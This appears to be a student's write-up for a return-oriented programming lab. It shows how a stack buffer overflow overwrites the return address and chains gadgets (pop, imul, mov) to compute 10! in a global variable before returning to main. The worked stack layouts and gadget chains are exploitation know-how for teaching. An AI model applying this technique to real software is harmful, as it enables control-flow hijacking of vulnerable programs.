(a)

The original stack looks like:

LOCATION	STACK CONTENT	SIZE (in Bytes)
0xffffcecc	ret_to_main	4
0xffffcec8	ebp	4
0xffffcec0	/*BLANK SPACE*/	8
0xffffcebf . . . 0xffffceb4	... locals.cat_buf[9] . . . locals.cat_buf[0]	12
0xffffceb0	locals.cat_pointer	4
0xffffceac	locals.i	4
0xffffceab . . . 0xffffcea0	locals.word_buf[11] . . . locals.word_buf[0]	12

Following is the stack we will get by inserting 10 NOPs on the stack :

LOCATION	STACK CONTENT	VALUE ENTERED	EXPLANATIONS
0xffffcef4		ret_to_main	In the end we put the original return address to main.
0xffffcef0		NOP	
0xffffceec		NOP	
0xffffcee8		NOP	
0xffffcee4		NOP	
0xffffcee0		NOP	
0xffffcedc		NOP	
0xffffced8		NOP	
0xffffced4		NOP	
0xffffced0		NOP	
0xffffcecc	ret_to_main	NOP	This contains the address of the gadget, here NOP.
0xffffcec8	ebp		We just replaced the contents of ebp by its previous value itself.
0xffffcec0	/*BLANK SPACE*/	a ... a	Even this space is filled with the same random stuff.
0xffffcebf 0xffffceb4	... locals.cat_buf[9] . . . locals.cat_buf[0]	 a . . . a	The first byte from word_buf[] is copied at each iteration. Thus by the time locals.cat_pointer reaches its end it will also have the same random stuff.
0xffffceb0	locals.cat_pointer		Its value starts from 0xffffceb0 and increments in each iteration.
0xffffceac	locals.i	0 or 9	To make the loop running, in the end we enter 9 so that the loop breaks.
0xffffceab . . . 0xffffcea0	locals.word_buf[11] . . . locals.word_buf[0]	a . . . a	Filling both the buffers with random stuff to reach the return address to main and alter it.

Here NOP represents the address of the gadget : ret; which in our case was 0x080481b2.

(b) Here are some gadgets of the form **pop X; ret,** where X is a register.

0x080b8046 : pop eax ; ret
0x080483ca : pop ebp ; ret
0x080481c9 : pop ebx ; ret
0x080de8b1 : pop ecx ; ret
0x08048480 : pop edi ; ret
0x0806f03a : pop edx ; ret
0x08048433 : pop esi ; ret
0x080b7ff6 : pop esp ; ret

Here are a few which can achieve similar results, but come with some side-effects:

0x0809988c : pop ebx ; pop edi ; ret
0x0806f039 : pop ebx ; pop edx ; ret

(c) Here is the gadget we used to perform multiplication:

0x080630b8 : imul dword ptr [ecx] ; rcr byte ptr [edi + 0x5e], 1 ; pop ebx ; ret

This multiplies the value present at the address stored by ecx register with the value present in eax and stores the product in eax.
However, to use this gadget, we also have to make sure that [edi+ 0x5e] is a valid memory location.

Also, it pops a value from the stack, thus we follow this instruction with an NOP.

(d)

The same gadget described above is used for multiplication to get 10!

0x080630b8 : imul dword ptr [ecx] ; rcr byte ptr [edi + 0x5e], 1 ; pop ebx ; ret

(e)

GA#	GADGET USED	DESCRIPTION
GA1	ret	NOP
GA2	pop edi; ret	To fill edi with suitable address to take care of the side-effect in GA6.
GA3	pop ecx; ret	To fill ecx with glb address.
GA4	inc dword ptr [ecx]; ret	To increment the value of glb.
GA5	mov eax,3; ret	To fill eax with 3.
GA6	imul dword ptr [ecx] ; rcr byte ptr [edi + 0x5e], 1 ; pop ebx ; ret	Multiplication gadget; comes with some side-effects to be taken care of.
GA7	pop edx; ret	To fill edi with suitable address to take care of the side-effect in GA8.
GA8	mov dword ptr [ecx], eax ; mov eax, dword ptr [edx + 0x4c] ; ret	To mov the product in eax to loaction stored in ecx i.e., glb

GA9	mov eax,4; ret	To fill eax with 4.
GA10	mov eax,5; ret	To fill eax with 5.
GA11	mov eax,6; ret	To fill eax with 6.
GA12	mov eax,7; ret	To fill eax with 7.
GA13	inc eax; ret	To increment eax; used to fill it with values greater than 7.

(f)
The complete stack that computes 10! :-

LOCATION	CONTENT	EXPLANATIONS
	<0x08048953>	return to main, the original return address.
	.. . .	Repeating the same set of gadgets with a few minor tweaks to incremnet eax, we finally got the value of 10! in glb.
0xffffcf14	GA8 <0x080b7fbe>	GA8: mov dword ptr [ecx], eax ; mov eax, dword ptr [edx + 0x4c] ; ret
0xffffcf10	<0xffffce68>	[edx + 0x4c] is valid
0xffffcf0c	GA7 <0x0806f03a>	GA7: pop edx; ret
0xffffcf08	GA1 <0x080481b2>	GA1: ret
0xffffcf04	GA6 <0x080630b8>	GA6: imul dword ptr [ecx] ; rcr byte ptr [edi + 0x5e], 1 ; pop ebx ; ret
0xffffcf00	GA9 <0x0808ef70>	GA9: mov eax, 4; ret
0xffffcefc	GA8 <0x080b7fbe>	GA8: mov dword ptr [ecx], eax ; mov eax, dword ptr [edx + 0x4c] ; ret
0xffffcef8	<0xffffce68>	[edx + 0x4c] is valid
0xffffcef4	GA7 <0x0806f03a>	GA7: pop edx; ret
0xffffcef0	GA1 <0x080481b2>	GA1: ret
0xffffceec	GA6 <0x080630b8>	GA6: imul dword ptr [ecx] ; rcr byte ptr [edi + 0x5e], 1 ; pop ebx ; ret
0xffffcee8	GA5 <0x0808ef60>	GA5: mov eax, 3; ret
0xffffcee4	GA4 <0x080844e8>	GA4: inc dword ptr [ecx]; ret
0xffffcee0	GA4 <0x080844e8>	GA4: inc dword ptr [ecx]; ret
0xffffcedc	<0x080eba20>	glb add. in ecx
0xffffced8	GA3 <0x080de8b1>	GA3: pop ecx; ret
0xffffced4	<0xffffce55>	So that [edi+0x5e] is valid.
0xffffced0	GA2 <0x08048480>	GA2: pop edi; ret

10! in glb

4! in glb

3! in glb

0xffffcecc	GA1 <0x080481b2>	Originally this had the return to main. GA1: ret
0xffffcec8		We just replaced the contents of ebp by its previous value itself.
0xffffcec0	a ... a	Blank space filled with some random stuff.
0xffffcebf 0xffffceb4	 a ... a	locals.cat_buf The first byte from word_buf[] is copied at each iteration.
0xffffceb0		locals.cat_pointer Its value starts from 0xffffceb0 and increments in each iteration.
0xffffceac	0 or 9	locals.i To make the loop running, in the end we enter 9 so that the loop breaks.
0xffffceab . . . 0xffffcea0	a . . . a	locals.word_buf